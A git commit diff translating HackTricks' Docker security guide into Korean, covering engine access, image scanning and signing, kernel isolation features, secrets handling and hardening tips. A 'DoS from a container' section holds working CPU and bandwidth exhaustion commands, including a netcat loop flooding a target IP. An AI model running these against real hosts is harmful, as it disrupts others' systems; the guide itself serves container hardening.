Translated ['src/linux-hardening/privilege-escalation/README.md', 'src/l

This commit is contained in:
Translator 2025-01-02 19:41:01 +00:00
parent a83594d9f5
commit ef5db7b682
228 changed files with 7314 additions and 10975 deletions

File diff suppressed because it is too large Load Diff

View File

@ -1,57 +1,46 @@
# Docker Security
# Docker 보안
{{#include ../../../banners/hacktricks-training.md}}
<figure><img src="../../../images/image (48).png" alt=""><figcaption></figcaption></figure>
## **기본 Docker 엔진 보안**
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %}
## **Basic Docker Engine Security**
The **Docker engine** employs the Linux kernel's **Namespaces** and **Cgroups** to isolate containers, offering a basic layer of security. Additional protection is provided through **Capabilities dropping**, **Seccomp**, and **SELinux/AppArmor**, enhancing container isolation. An **auth plugin** can further restrict user actions.
**Docker 엔진**은 Linux 커널의 **네임스페이스**와 **Cgroups**를 사용하여 컨테이너를 격리하여 기본적인 보안 계층을 제공합니다. **Capabilities dropping**, **Seccomp**, 및 **SELinux/AppArmor**를 통해 추가적인 보호가 제공되어 컨테이너 격리가 강화됩니다. **auth 플러그인**은 사용자 작업을 추가로 제한할 수 있습니다.
![Docker Security](https://sreeninet.files.wordpress.com/2016/03/dockersec1.png)
### Secure Access to Docker Engine
### Docker 엔진에 대한 안전한 접근
The Docker engine can be accessed either locally via a Unix socket or remotely using HTTP. For remote access, it's essential to employ HTTPS and **TLS** to ensure confidentiality, integrity, and authentication.
The Docker engine, by default, listens on the Unix socket at `unix:///var/run/docker.sock`. On Ubuntu systems, Docker's startup options are defined in `/etc/default/docker`. To enable remote access to the Docker API and client, expose the Docker daemon over an HTTP socket by adding the following settings:
Docker 엔진은 Unix 소켓을 통해 로컬에서 또는 HTTP를 사용하여 원격으로 접근할 수 있습니다. 원격 접근을 위해서는 HTTPS와 **TLS**를 사용하여 기밀성, 무결성 및 인증을 보장하는 것이 필수적입니다.
Docker 엔진은 기본적으로 `unix:///var/run/docker.sock`에서 Unix 소켓을 수신 대기합니다. Ubuntu 시스템에서 Docker의 시작 옵션은 `/etc/default/docker`에 정의되어 있습니다. Docker API 및 클라이언트에 대한 원격 접근을 활성화하려면 다음 설정을 추가하여 Docker 데몬을 HTTP 소켓을 통해 노출하십시오:
```bash
DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376"
sudo service docker restart
```
그러나 Docker 데몬을 HTTP로 노출하는 것은 보안 문제로 인해 권장되지 않습니다. HTTPS를 사용하여 연결을 보호하는 것이 좋습니다. 연결을 보호하는 두 가지 주요 접근 방식이 있습니다:
However, exposing the Docker daemon over HTTP is not recommended due to security concerns. It's advisable to secure connections using HTTPS. There are two main approaches to securing the connection:
1. 클라이언트가 서버의 신원을 확인합니다.
2. 클라이언트와 서버가 서로의 신원을 상호 인증합니다.
1. The client verifies the server's identity.
2. Both the client and server mutually authenticate each other's identity.
서버의 신원을 확인하기 위해 인증서가 사용됩니다. 두 방법에 대한 자세한 예는 [**이 가이드**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/)를 참조하십시오.
Certificates are utilized to confirm a server's identity. For detailed examples of both methods, refer to [**this guide**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/).
### 컨테이너 이미지의 보안
### Security of Container Images
컨테이너 이미지는 개인 또는 공용 저장소에 저장될 수 있습니다. Docker는 컨테이너 이미지를 위한 여러 저장 옵션을 제공합니다:
Container images can be stored in either private or public repositories. Docker offers several storage options for container images:
- [**Docker Hub**](https://hub.docker.com): Docker의 공용 레지스트리 서비스.
- [**Docker Registry**](https://github.com/docker/distribution): 사용자가 자신의 레지스트리를 호스팅할 수 있도록 하는 오픈 소스 프로젝트.
- [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): 역할 기반 사용자 인증 및 LDAP 디렉토리 서비스와의 통합 기능을 갖춘 Docker의 상업적 레지스트리 제공.
- [**Docker Hub**](https://hub.docker.com): A public registry service from Docker.
- [**Docker Registry**](https://github.com/docker/distribution): An open-source project allowing users to host their own registry.
- [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Docker's commercial registry offering, featuring role-based user authentication and integration with LDAP directory services.
### 이미지 스캔
### Image Scanning
컨테이너는 기본 이미지 또는 기본 이미지 위에 설치된 소프트웨어로 인해 **보안 취약점**이 있을 수 있습니다. Docker는 컨테이너의 보안 스캔을 수행하고 취약점을 나열하는 **Nautilus**라는 프로젝트를 진행 중입니다. Nautilus는 각 컨테이너 이미지 레이어를 취약점 저장소와 비교하여 보안 구멍을 식별합니다.
Containers can have **security vulnerabilities** either because of the base image or because of the software installed on top of the base image. Docker is working on a project called **Nautilus** that does security scan of Containers and lists the vulnerabilities. Nautilus works by comparing the each Container image layer with vulnerability repository to identify security holes.
For more [**information read this**](https://docs.docker.com/engine/scan/).
자세한 [**정보는 여기에서 읽어보세요**](https://docs.docker.com/engine/scan/) .
- **`docker scan`**
The **`docker scan`** command allows you to scan existing Docker images using the image name or ID. For example, run the following command to scan the hello-world image:
**`docker scan`** 명령은 이미지 이름 또는 ID를 사용하여 기존 Docker 이미지를 스캔할 수 있게 해줍니다. 예를 들어, hello-world 이미지를 스캔하려면 다음 명령을 실행하십시오:
```bash
docker scan hello-world
@ -67,103 +56,82 @@ Licenses: enabled
Note that we do not currently have vulnerability data for your image.
```
- [**`trivy`**](https://github.com/aquasecurity/trivy)
```bash
trivy -q -f json <container_name>:<tag>
```
- [**`snyk`**](https://docs.snyk.io/snyk-cli/getting-started-with-the-cli)
```bash
snyk container test <image> --json-file-output=<output file> --severity-threshold=high
```
- [**`clair-scanner`**](https://github.com/arminc/clair-scanner)
```bash
clair-scanner -w example-alpine.yaml --ip YOUR_LOCAL_IP alpine:3.5
```
### Docker 이미지 서명
### Docker Image Signing
Docker 이미지 서명은 컨테이너에서 사용되는 이미지의 보안성과 무결성을 보장합니다. 간략한 설명은 다음과 같습니다:
Docker image signing ensures the security and integrity of images used in containers. Here's a condensed explanation:
- **Docker Content Trust** utilizes the Notary project, based on The Update Framework (TUF), to manage image signing. For more info, see [Notary](https://github.com/docker/notary) and [TUF](https://theupdateframework.github.io).
- To activate Docker content trust, set `export DOCKER_CONTENT_TRUST=1`. This feature is off by default in Docker version 1.10 and later.
- With this feature enabled, only signed images can be downloaded. Initial image push requires setting passphrases for the root and tagging keys, with Docker also supporting Yubikey for enhanced security. More details can be found [here](https://blog.docker.com/2015/11/docker-content-trust-yubikey/).
- Attempting to pull an unsigned image with content trust enabled results in a "No trust data for latest" error.
- For image pushes after the first, Docker asks for the repository key's passphrase to sign the image.
To back up your private keys, use the command:
- **Docker Content Trust**는 이미지 서명을 관리하기 위해 The Update Framework (TUF)를 기반으로 한 Notary 프로젝트를 활용합니다. 자세한 내용은 [Notary](https://github.com/docker/notary) 및 [TUF](https://theupdateframework.github.io)를 참조하세요.
- Docker 콘텐츠 신뢰를 활성화하려면 `export DOCKER_CONTENT_TRUST=1`을 설정합니다. 이 기능은 Docker 버전 1.10 이상에서 기본적으로 꺼져 있습니다.
- 이 기능이 활성화되면 서명된 이미지만 다운로드할 수 있습니다. 초기 이미지 푸시에는 루트 및 태깅 키에 대한 비밀번호를 설정해야 하며, Docker는 보안을 강화하기 위해 Yubikey도 지원합니다. 더 많은 세부정보는 [여기](https://blog.docker.com/2015/11/docker-content-trust-yubikey/)에서 확인할 수 있습니다.
- 콘텐츠 신뢰가 활성화된 상태에서 서명되지 않은 이미지를 가져오려고 하면 "No trust data for latest" 오류가 발생합니다.
- 첫 번째 이후의 이미지 푸시를 위해 Docker는 이미지를 서명하기 위해 리포지토리 키의 비밀번호를 요청합니다.
개인 키를 백업하려면 다음 명령을 사용하세요:
```bash
tar -zcvf private_keys_backup.tar.gz ~/.docker/trust/private
```
Docker 호스트를 전환할 때, 운영을 유지하기 위해 루트 및 리포지토리 키를 이동하는 것이 필요합니다.
When switching Docker hosts, it's necessary to move the root and repository keys to maintain operations.
---
<figure><img src="../../../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %}
## Containers Security Features
## 컨테이너 보안 기능
<details>
<summary>Summary of Container Security Features</summary>
<summary>컨테이너 보안 기능 요약</summary>
**Main Process Isolation Features**
**주요 프로세스 격리 기능**
In containerized environments, isolating projects and their processes is paramount for security and resource management. Here's a simplified explanation of key concepts:
컨테이너화된 환경에서 프로젝트와 그 프로세스를 격리하는 것은 보안 및 자원 관리에 있어 매우 중요합니다. 주요 개념에 대한 간단한 설명은 다음과 같습니다:
**Namespaces**
**네임스페이스**
- **Purpose**: Ensure isolation of resources like processes, network, and filesystems. Particularly in Docker, namespaces keep a container's processes separate from the host and other containers.
- **Usage of `unshare`**: The `unshare` command (or the underlying syscall) is utilized to create new namespaces, providing an added layer of isolation. However, while Kubernetes doesn't inherently block this, Docker does.
- **Limitation**: Creating new namespaces doesn't allow a process to revert to the host's default namespaces. To penetrate the host namespaces, one would typically require access to the host's `/proc` directory, using `nsenter` for entry.
- **목적**: 프로세스, 네트워크 및 파일 시스템과 같은 자원의 격리를 보장합니다. 특히 Docker에서는 네임스페이스가 컨테이너의 프로세스를 호스트 및 다른 컨테이너와 분리합니다.
- **`unshare`의 사용**: `unshare` 명령(또는 기본 syscall)은 새로운 네임스페이스를 생성하는 데 사용되어 추가적인 격리 계층을 제공합니다. 그러나 Kubernetes는 본질적으로 이를 차단하지 않지만, Docker는 차단합니다.
- **제한 사항**: 새로운 네임스페이스를 생성하는 것은 프로세스가 호스트의 기본 네임스페이스로 되돌아가는 것을 허용하지 않습니다. 호스트 네임스페이스에 침투하려면 일반적으로 호스트의 `/proc` 디렉토리에 접근해야 하며, `nsenter`를 사용하여 진입합니다.
**Control Groups (CGroups)**
**제어 그룹 (CGroups)**
- **Function**: Primarily used for allocating resources among processes.
- **Security Aspect**: CGroups themselves don't offer isolation security, except for the `release_agent` feature, which, if misconfigured, could potentially be exploited for unauthorized access.
- **기능**: 주로 프로세스 간 자원을 할당하는 데 사용됩니다.
- **보안 측면**: CGroups 자체는 격리 보안을 제공하지 않지만, 잘못 구성된 경우 `release_agent` 기능이 무단 접근을 위해 악용될 수 있습니다.
**Capability Drop**
**능력 드롭**
- **Importance**: It's a crucial security feature for process isolation.
- **Functionality**: It restricts the actions a root process can perform by dropping certain capabilities. Even if a process runs with root privileges, lacking the necessary capabilities prevents it from executing privileged actions, as the syscalls will fail due to insufficient permissions.
These are the **remaining capabilities** after the process drop the others:
- **중요성**: 프로세스 격리를 위한 중요한 보안 기능입니다.
- **기능**: 특정 능력을 드롭하여 루트 프로세스가 수행할 수 있는 작업을 제한합니다. 프로세스가 루트 권한으로 실행되더라도 필요한 능력이 부족하면 특권 작업을 실행할 수 없으며, 이는 권한 부족으로 인해 syscall이 실패합니다.
이것은 프로세스가 다른 능력을 드롭한 후의 **남은 능력**입니다:
```
Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep
```
**Seccomp**
It's enabled by default in Docker. It helps to **limit even more the syscalls** that the process can call.\
The **default Docker Seccomp profile** can be found in [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)
Docker에서 기본적으로 활성화되어 있습니다. 이는 프로세스가 호출할 수 있는 **syscalls를 더욱 제한하는 데 도움을 줍니다**.\
**기본 Docker Seccomp 프로파일**은 [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)에서 찾을 수 있습니다.
**AppArmor**
Docker has a template that you can activate: [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
Docker에는 활성화할 수 있는 템플릿이 있습니다: [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
This will allow to reduce capabilities, syscalls, access to files and folders...
이를 통해 권한, syscalls, 파일 및 폴더에 대한 접근을 줄일 수 있습니다...
</details>
### Namespaces
**Namespaces** are a feature of the Linux kernel that **partitions kernel resources** such that one set of **processes** **sees** one set of **resources** while **another** set of **processes** sees a **different** set of resources. The feature works by having the same namespace for a set of resources and processes, but those namespaces refer to distinct resources. Resources may exist in multiple spaces.
**Namespaces****커널 리소스를 분할**하여 한 집합의 **프로세스**가 한 집합의 **리소스**를 **보고**, **다른** 집합의 **프로세스**가 **다른** 집합의 리소스를 보도록 하는 Linux 커널의 기능입니다. 이 기능은 리소스와 프로세스의 집합에 대해 동일한 네임스페이스를 가지지만, 해당 네임스페이스는 서로 다른 리소스를 참조함으로써 작동합니다. 리소스는 여러 공간에 존재할 수 있습니다.
Docker makes use of the following Linux kernel Namespaces to achieve Container isolation:
Docker는 컨테이너 격리를 달성하기 위해 다음 Linux 커널 네임스페이스를 사용합니다:
- pid namespace
- mount namespace
@ -171,7 +139,7 @@ Docker makes use of the following Linux kernel Namespaces to achieve Container i
- ipc namespace
- UTS namespace
For **more information about the namespaces** check the following page:
**네임스페이스에 대한 더 많은 정보**는 다음 페이지를 확인하세요:
{{#ref}}
namespaces/
@ -179,86 +147,81 @@ namespaces/
### cgroups
Linux kernel feature **cgroups** provides capability to **restrict resources like cpu, memory, io, network bandwidth among** a set of processes. Docker allows to create Containers using cgroup feature which allows for resource control for the specific Container.\
Following is a Container created with user space memory limited to 500m, kernel memory limited to 50m, cpu share to 512, blkioweight to 400. CPU share is a ratio that controls Containers CPU usage. It has a default value of 1024 and range between 0 and 1024. If three Containers have the same CPU share of 1024, each Container can take upto 33% of CPU in case of CPU resource contention. blkio-weight is a ratio that controls Containers IO. It has a default value of 500 and range between 10 and 1000.
Linux 커널 기능 **cgroups**는 **cpu, memory, io, network bandwidth와 같은 리소스를** 프로세스 집합에 대해 **제한할 수 있는 기능**을 제공합니다. Docker는 특정 컨테이너에 대한 리소스 제어를 허용하는 cgroup 기능을 사용하여 컨테이너를 생성할 수 있습니다.\
다음은 사용자 공간 메모리가 500m로 제한되고, 커널 메모리가 50m로 제한되며, cpu share가 512, blkioweight가 400인 컨테이너입니다. CPU share는 컨테이너의 CPU 사용량을 제어하는 비율입니다. 기본값은 1024이며 0에서 1024 사이의 범위를 가집니다. 세 개의 컨테이너가 동일한 CPU share 1024를 가지면, 각 컨테이너는 CPU 리소스 경합 시 최대 33%의 CPU를 사용할 수 있습니다. blkio-weight는 컨테이너의 IO를 제어하는 비율입니다. 기본값은 500이며 10에서 1000 사이의 범위를 가집니다.
```
docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash
```
To get the cgroup of a container you can do:
컨테이너의 cgroup을 얻으려면 다음을 수행할 수 있습니다:
```bash
docker run -dt --rm denial sleep 1234 #Run a large sleep inside a Debian container
ps -ef | grep 1234 #Get info about the sleep process
ls -l /proc/<PID>/ns #Get the Group and the namespaces (some may be uniq to the hosts and some may be shred with it)
```
For more information check:
더 많은 정보는 확인하세요:
{{#ref}}
cgroups.md
{{#endref}}
### Capabilities
### 권한
Capabilities allow **finer control for the capabilities that can be allowed** for root user. Docker uses the Linux kernel capability feature to **limit the operations that can be done inside a Container** irrespective of the type of user.
권한은 **루트 사용자에게 허용될 수 있는 권한에 대한 더 세밀한 제어를 가능하게 합니다**. Docker는 Linux 커널 권한 기능을 사용하여 **사용자 유형에 관계없이 컨테이너 내에서 수행할 수 있는 작업을 제한합니다**.
When a docker container is run, the **process drops sensitive capabilities that the proccess could use to escape from the isolation**. This try to assure that the proccess won't be able to perform sensitive actions and escape:
Docker 컨테이너가 실행될 때, **프로세스는 격리에서 탈출하는 데 사용할 수 있는 민감한 권한을 포기합니다**. 이는 프로세스가 민감한 작업을 수행하고 탈출할 수 없도록 보장하려고 합니다:
{{#ref}}
../linux-capabilities.md
{{#endref}}
### Seccomp in Docker
### Docker의 Seccomp
This is a security feature that allows Docker to **limit the syscalls** that can be used inside the container:
이것은 Docker가 **컨테이너 내에서 사용할 수 있는 시스템 호출을 제한할 수 있게 해주는 보안 기능입니다**:
{{#ref}}
seccomp.md
{{#endref}}
### AppArmor in Docker
### Docker의 AppArmor
**AppArmor** is a kernel enhancement to confine **containers** to a **limited** set of **resources** with **per-program profiles**.:
**AppArmor****컨테이너**를 **제한된** **리소스** 집합에 **프로그램별 프로필**로 제한하는 커널 향상 기능입니다.:
{{#ref}}
apparmor.md
{{#endref}}
### SELinux in Docker
### Docker의 SELinux
- **Labeling System**: SELinux assigns a unique label to every process and filesystem object.
- **Policy Enforcement**: It enforces security policies that define what actions a process label can perform on other labels within the system.
- **Container Process Labels**: When container engines initiate container processes, they are typically assigned a confined SELinux label, commonly `container_t`.
- **File Labeling within Containers**: Files within the container are usually labeled as `container_file_t`.
- **Policy Rules**: The SELinux policy primarily ensures that processes with the `container_t` label can only interact (read, write, execute) with files labeled as `container_file_t`.
- **레이블링 시스템**: SELinux는 모든 프로세스와 파일 시스템 객체에 고유한 레이블을 할당합니다.
- **정책 집행**: 프로세스 레이블이 시스템 내 다른 레이블에 대해 수행할 수 있는 작업을 정의하는 보안 정책을 집행합니다.
- **컨테이너 프로세스 레이블**: 컨테이너 엔진이 컨테이너 프로세스를 시작할 때, 일반적으로 제한된 SELinux 레이블인 `container_t`가 할당됩니다.
- **컨테이너 내 파일 레이블링**: 컨테이너 내의 파일은 일반적으로 `container_file_t`로 레이블이 지정됩니다.
- **정책 규칙**: SELinux 정책은 주로 `container_t` 레이블을 가진 프로세스가 `container_file_t`로 레이블이 지정된 파일과만 상호작용(읽기, 쓰기, 실행)할 수 있도록 보장합니다.
This mechanism ensures that even if a process within a container is compromised, it's confined to interacting only with objects that have the corresponding labels, significantly limiting the potential damage from such compromises.
이 메커니즘은 컨테이너 내의 프로세스가 손상되더라도 해당 레이블이 있는 객체와만 상호작용하도록 제한되어, 그러한 손상으로 인한 잠재적 피해를 크게 제한합니다.
{{#ref}}
../selinux.md
{{#endref}}
### AuthZ & AuthN
### AuthZ AuthN
In Docker, an authorization plugin plays a crucial role in security by deciding whether to allow or block requests to the Docker daemon. This decision is made by examining two key contexts:
Docker에서 권한 부여 플러그인은 Docker 데몬에 대한 요청을 허용하거나 차단할지를 결정하는 데 중요한 역할을 합니다. 이 결정은 두 가지 주요 컨텍스트를 검토하여 이루어집니다:
- **Authentication Context**: This includes comprehensive information about the user, such as who they are and how they've authenticated themselves.
- **Command Context**: This comprises all pertinent data related to the request being made.
- **인증 컨텍스트**: 여기에는 사용자에 대한 포괄적인 정보가 포함되며, 사용자가 누구인지와 어떻게 인증했는지를 포함합니다.
- **명령 컨텍스트**: 이는 요청과 관련된 모든 관련 데이터를 포함합니다.
These contexts help ensure that only legitimate requests from authenticated users are processed, enhancing the security of Docker operations.
이러한 컨텍스트는 인증된 사용자로부터의 합법적인 요청만 처리되도록 보장하여 Docker 작업의 보안을 강화합니다.
{{#ref}}
authz-and-authn-docker-access-authorization-plugin.md
{{#endref}}
## DoS from a container
## 컨테이너에서의 DoS
If you are not properly limiting the resources a container can use, a compromised container could DoS the host where it's running.
컨테이너가 사용할 수 있는 리소스를 적절히 제한하지 않으면, 손상된 컨테이너가 실행 중인 호스트에 DoS를 일으킬 수 있습니다.
- CPU DoS
```bash
# stress-ng
sudo apt-get install -y stress-ng && stress-ng --vm 1 --vm-bytes 1G --verify -t 5m
@ -266,18 +229,15 @@ sudo apt-get install -y stress-ng && stress-ng --vm 1 --vm-bytes 1G --verify -t
# While loop
docker run -d --name malicious-container -c 512 busybox sh -c 'while true; do :; done'
```
- Bandwidth DoS
- 대역폭 DoS
```bash
nc -lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc <target IP> 4444; done
```
## 흥미로운 Docker 플래그
## Interesting Docker Flags
### --privileged 플래그
### --privileged flag
In the following page you can learn **what does the `--privileged` flag imply**:
다음 페이지에서 **`--privileged` 플래그가 의미하는 바**를 배울 수 있습니다:
{{#ref}}
docker-privileged.md
@ -287,16 +247,13 @@ docker-privileged.md
#### no-new-privileges
If you are running a container where an attacker manages to get access as a low privilege user. If you have a **miss-configured suid binary**, the attacker may abuse it and **escalate privileges inside** the container. Which, may allow him to escape from it.
Running the container with the **`no-new-privileges`** option enabled will **prevent this kind of privilege escalation**.
공격자가 낮은 권한 사용자로 접근할 수 있는 컨테이너를 실행하는 경우, **잘못 구성된 suid 바이너리**가 있다면 공격자가 이를 악용하여 **컨테이너 내에서 권한을 상승시킬 수** 있습니다. 이는 그가 컨테이너에서 탈출할 수 있게 할 수 있습니다.
**`no-new-privileges`** 옵션을 활성화하여 컨테이너를 실행하면 **이러한 종류의 권한 상승을 방지할 수** 있습니다.
```
docker run -it --security-opt=no-new-privileges:true nonewpriv
```
#### Other
#### 기타
```bash
#You can manually add/drop capabilities with
--cap-add
@ -311,101 +268,96 @@ docker run -it --security-opt=no-new-privileges:true nonewpriv
# You can manually disable selinux in docker with
--security-opt label:disable
```
더 많은 **`--security-opt`** 옵션은 다음을 확인하세요: [https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration)
For more **`--security-opt`** options check: [https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration)
## 기타 보안 고려사항
## Other Security Considerations
### 비밀 관리: 모범 사례
### Managing Secrets: Best Practices
비밀을 Docker 이미지에 직접 포함시키거나 환경 변수를 사용하는 것은 피하는 것이 중요합니다. 이러한 방법은 `docker inspect` 또는 `exec`와 같은 명령을 통해 컨테이너에 접근할 수 있는 모든 사람에게 민감한 정보를 노출합니다.
It's crucial to avoid embedding secrets directly in Docker images or using environment variables, as these methods expose your sensitive information to anyone with access to the container through commands like `docker inspect` or `exec`.
**Docker 볼륨**은 민감한 정보에 접근하기 위한 더 안전한 대안으로 권장됩니다. 이는 메모리 내의 임시 파일 시스템으로 활용될 수 있어 `docker inspect` 및 로깅과 관련된 위험을 완화합니다. 그러나 루트 사용자와 컨테이너에 `exec` 접근 권한이 있는 사용자는 여전히 비밀에 접근할 수 있습니다.
**Docker volumes** are a safer alternative, recommended for accessing sensitive information. They can be utilized as a temporary filesystem in memory, mitigating the risks associated with `docker inspect` and logging. However, root users and those with `exec` access to the container might still access the secrets.
**Docker 비밀**은 민감한 정보를 처리하기 위한 더욱 안전한 방법을 제공합니다. 이미지 빌드 단계에서 비밀이 필요한 인스턴스의 경우, **BuildKit**은 빌드 시간 비밀을 지원하여 빌드 속도를 향상시키고 추가 기능을 제공합니다.
**Docker secrets** offer an even more secure method for handling sensitive information. For instances requiring secrets during the image build phase, **BuildKit** presents an efficient solution with support for build-time secrets, enhancing build speed and providing additional features.
BuildKit을 활용하려면 세 가지 방법으로 활성화할 수 있습니다:
To leverage BuildKit, it can be activated in three ways:
1. Through an environment variable: `export DOCKER_BUILDKIT=1`
2. By prefixing commands: `DOCKER_BUILDKIT=1 docker build .`
3. By enabling it by default in the Docker configuration: `{ "features": { "buildkit": true } }`, followed by a Docker restart.
BuildKit allows for the use of build-time secrets with the `--secret` option, ensuring these secrets are not included in the image build cache or the final image, using a command like:
1. 환경 변수를 통해: `export DOCKER_BUILDKIT=1`
2. 명령어에 접두사를 붙여: `DOCKER_BUILDKIT=1 docker build .`
3. Docker 구성에서 기본적으로 활성화: `{ "features": { "buildkit": true } }`, 이후 Docker를 재시작합니다.
BuildKit은 `--secret` 옵션을 사용하여 빌드 시간 비밀을 사용할 수 있게 하여, 이러한 비밀이 이미지 빌드 캐시나 최종 이미지에 포함되지 않도록 합니다.
```bash
docker build --secret my_key=my_value ,src=path/to/my_secret_file .
```
For secrets needed in a running container, **Docker Compose and Kubernetes** offer robust solutions. Docker Compose utilizes a `secrets` key in the service definition for specifying secret files, as shown in a `docker-compose.yml` example:
실행 중인 컨테이너에서 필요한 비밀을 위해, **Docker Compose와 Kubernetes**는 강력한 솔루션을 제공합니다. Docker Compose는 비밀 파일을 지정하기 위해 서비스 정의에서 `secrets` 키를 사용합니다. 다음은 `docker-compose.yml` 예제입니다:
```yaml
version: "3.7"
services:
my_service:
image: centos:7
entrypoint: "cat /run/secrets/my_secret"
secrets:
- my_secret
my_service:
image: centos:7
entrypoint: "cat /run/secrets/my_secret"
secrets:
my_secret:
file: ./my_secret_file.txt
- my_secret
secrets:
my_secret:
file: ./my_secret_file.txt
```
이 구성은 Docker Compose로 서비스를 시작할 때 비밀을 사용할 수 있도록 허용합니다.
This configuration allows for the use of secrets when starting services with Docker Compose.
In Kubernetes environments, secrets are natively supported and can be further managed with tools like [Helm-Secrets](https://github.com/futuresimple/helm-secrets). Kubernetes' Role Based Access Controls (RBAC) enhances secret management security, similar to Docker Enterprise.
Kubernetes 환경에서는 비밀이 기본적으로 지원되며 [Helm-Secrets](https://github.com/futuresimple/helm-secrets)와 같은 도구로 추가 관리할 수 있습니다. Kubernetes의 역할 기반 접근 제어(RBAC)는 Docker Enterprise와 유사하게 비밀 관리 보안을 강화합니다.
### gVisor
**gVisor** is an application kernel, written in Go, that implements a substantial portion of the Linux system surface. It includes an [Open Container Initiative (OCI)](https://www.opencontainers.org) runtime called `runsc` that provides an **isolation boundary between the application and the host kernel**. The `runsc` runtime integrates with Docker and Kubernetes, making it simple to run sandboxed containers.
**gVisor**는 Go로 작성된 애플리케이션 커널로, Linux 시스템 표면의 상당 부분을 구현합니다. 이는 애플리케이션과 호스트 커널 간의 **격리 경계를 제공하는** `runsc`라는 [Open Container Initiative (OCI)](https://www.opencontainers.org) 런타임을 포함합니다. `runsc` 런타임은 Docker 및 Kubernetes와 통합되어 샌드박스화된 컨테이너를 쉽게 실행할 수 있게 합니다.
{% embed url="https://github.com/google/gvisor" %}
### Kata Containers
**Kata Containers** is an open source community working to build a secure container runtime with lightweight virtual machines that feel and perform like containers, but provide **stronger workload isolation using hardware virtualization** technology as a second layer of defense.
**Kata Containers**는 경량 가상 머신을 사용하여 안전한 컨테이너 런타임을 구축하기 위해 노력하는 오픈 소스 커뮤니티로, 컨테이너처럼 느껴지고 작동하지만 **하드웨어 가상화** 기술을 사용하여 더 강력한 작업 부하 격리를 제공합니다.
{% embed url="https://katacontainers.io/" %}
### Summary Tips
### 요약 팁
- **Do not use the `--privileged` flag or mount a** [**Docker socket inside the container**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** The docker socket allows for spawning containers, so it is an easy way to take full control of the host, for example, by running another container with the `--privileged` flag.
- Do **not run as root inside the container. Use a** [**different user**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **and** [**user namespaces**](https://docs.docker.com/engine/security/userns-remap/)**.** The root in the container is the same as on host unless remapped with user namespaces. It is only lightly restricted by, primarily, Linux namespaces, capabilities, and cgroups.
- [**Drop all capabilities**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) and enable only those that are required** (`--cap-add=...`). Many of workloads dont need any capabilities and adding them increases the scope of a potential attack.
- [**Use the “no-new-privileges” security option**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) to prevent processes from gaining more privileges, for example through suid binaries.
- [**Limit resources available to the container**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Resource limits can protect the machine from denial of service attacks.
- **Adjust** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(or SELinux)** profiles to restrict the actions and syscalls available for the container to the minimum required.
- **Use** [**official docker images**](https://docs.docker.com/docker-hub/official_images/) **and require signatures** or build your own based on them. Dont inherit or use [backdoored](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) images. Also store root keys, passphrase in a safe place. Docker has plans to manage keys with UCP.
- **Regularly** **rebuild** your images to **apply security patches to the host an images.**
- Manage your **secrets wisely** so it's difficult to the attacker to access them.
- If you **exposes the docker daemon use HTTPS** with client & server authentication.
- In your Dockerfile, **favor COPY instead of ADD**. ADD automatically extracts zipped files and can copy files from URLs. COPY doesnt have these capabilities. Whenever possible, avoid using ADD so you arent susceptible to attacks through remote URLs and Zip files.
- Have **separate containers for each micro-s**ervice
- **Dont put ssh** inside container, “docker exec” can be used to ssh to Container.
- Have **smaller** container **images**
- **`--privileged` 플래그를 사용하지 않거나** [**Docker 소켓을 컨테이너 내부에 마운트하지 마십시오**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Docker 소켓은 컨테이너를 생성할 수 있게 하므로, 예를 들어 `--privileged` 플래그로 다른 컨테이너를 실행하여 호스트를 완전히 제어할 수 있는 쉬운 방법입니다.
- **컨테이너 내부에서 root로 실행하지 마십시오.** [**다른 사용자**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **를 사용하고** [**사용자 네임스페이스**](https://docs.docker.com/engine/security/userns-remap/)**를 사용하십시오.** 컨테이너의 root는 사용자 네임스페이스로 재매핑되지 않는 한 호스트의 root와 동일합니다. 이는 주로 Linux 네임스페이스, 기능 및 cgroups에 의해 약간 제한됩니다.
